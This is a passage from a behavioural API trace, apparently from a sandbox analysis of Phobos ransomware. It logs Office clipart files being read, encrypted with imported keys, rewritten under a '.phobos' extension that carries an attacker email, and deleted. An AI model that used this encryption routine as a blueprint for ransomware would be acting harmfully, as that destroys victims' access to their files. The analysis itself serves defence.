(hKey=0x10dcad0) returned 1 [0057.299] CloseHandle (hObject=0x328) returned 1 [0057.299] CloseHandle (hObject=0x300) returned 1 [0057.299] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0057.300] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.312] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5375) returned 1 [0057.312] CloseHandle (hObject=0x310) returned 1 [0057.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0057.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.313] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.313] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.313] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc810) returned 1 [0057.313] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.314] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x14ff, lpOverlapped=0x0) returned 1 [0057.336] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1500, dwBufLen=0x1500 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1500) returned 1 [0057.336] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1500, lpOverlapped=0x0) returned 1 [0057.337] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc10) returned 1 [0057.338] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.338] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.338] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0057.338] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.338] CryptDestroyKey (hKey=0x10dc810) returned 1 [0057.338] CloseHandle (hObject=0x310) returned 1 [0057.338] CloseHandle (hObject=0x2fc) returned 1 [0057.338] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0057.339] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.340] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5016) returned 1 [0057.340] CloseHandle (hObject=0x2fc) returned 1 [0057.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0057.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.340] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.340] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.340] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc10) returned 1 [0057.340] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.340] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1398, lpOverlapped=0x0) returned 1 [0057.354] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13a0, dwBufLen=0x13a0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13a0) returned 1 [0057.354] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x13a0, lpOverlapped=0x0) returned 1 [0057.374] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0057.375] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.375] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.375] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.375] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.375] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0057.375] CloseHandle (hObject=0x2fc) returned 1 [0057.375] CloseHandle (hObject=0x310) returned 1 [0057.383] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0057.383] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.384] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3966) returned 1 [0057.384] CloseHandle (hObject=0x2fc) returned 1 [0057.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0057.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.384] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.384] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.387] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0057.387] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.387] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xf7e, lpOverlapped=0x0) returned 1 [0057.409] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xf80, dwBufLen=0xf80 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xf80) returned 1 [0057.409] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf80, lpOverlapped=0x0) returned 1 [0057.410] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc710) returned 1 [0057.410] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.410] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.410] CryptDestroyKey (hKey=0x10dc710) returned 1 [0057.410] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.410] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0057.410] CloseHandle (hObject=0x2fc) returned 1 [0057.410] CloseHandle (hObject=0x330) returned 1 [0057.411] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0057.412] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.412] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3378) returned 1 [0057.412] CloseHandle (hObject=0x330) returned 1 [0057.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0057.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.413] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.413] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.413] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0057.413] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.413] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xd32, lpOverlapped=0x0) returned 1 [0057.706] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd40, dwBufLen=0xd40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd40) returned 1 [0057.706] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xd40, lpOverlapped=0x0) returned 1 [0057.707] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc810) returned 1 [0057.707] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.707] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.707] CryptDestroyKey (hKey=0x10dc810) returned 1 [0057.707] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.707] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0057.707] CloseHandle (hObject=0x330) returned 1 [0057.707] CloseHandle (hObject=0x2fc) returned 1 [0057.708] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0057.709] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.712] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5684) returned 1 [0057.712] CloseHandle (hObject=0x328) returned 1 [0057.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0057.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.712] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.712] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.713] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc850) returned 1 [0057.713] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.713] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1634, lpOverlapped=0x0) returned 1 [0057.715] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1640, dwBufLen=0x1640 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1640) returned 1 [0057.715] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1640, lpOverlapped=0x0) returned 1 [0057.716] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc6d0) returned 1 [0057.716] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.716] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.716] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0057.716] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.716] CryptDestroyKey (hKey=0x10dc850) returned 1 [0057.716] CloseHandle (hObject=0x328) returned 1 [0057.717] CloseHandle (hObject=0x310) returned 1 [0057.717] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0057.718] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.718] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=10832) returned 1 [0057.718] CloseHandle (hObject=0x310) returned 1 [0057.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0057.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.719] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.719] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, 